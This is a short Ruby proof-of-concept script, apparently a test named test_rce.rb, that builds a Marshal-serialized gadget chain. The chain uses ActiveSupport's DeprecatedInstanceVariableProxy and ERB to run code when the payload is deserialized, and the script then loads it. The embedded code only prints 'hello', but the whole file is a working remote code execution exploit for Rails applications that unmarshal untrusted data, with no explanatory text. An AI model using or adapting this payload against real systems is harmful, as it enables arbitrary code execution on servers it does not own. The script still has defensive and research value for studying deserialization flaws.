test_rce.rb

def test
  code = "eval('puts \"hello\"')"
  return Base64.encode64 "\x04\x08" +
        "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" +
          ":\x0E@instance" +
            "o"+":\x08ERB"+"\x06" +
              ":\x09@src" +
                Marshal.dump(code)[2..-1] +
          ":\x0C@method"+":\x0Bresult"
end

Marshal.load(Base64.decode64(test))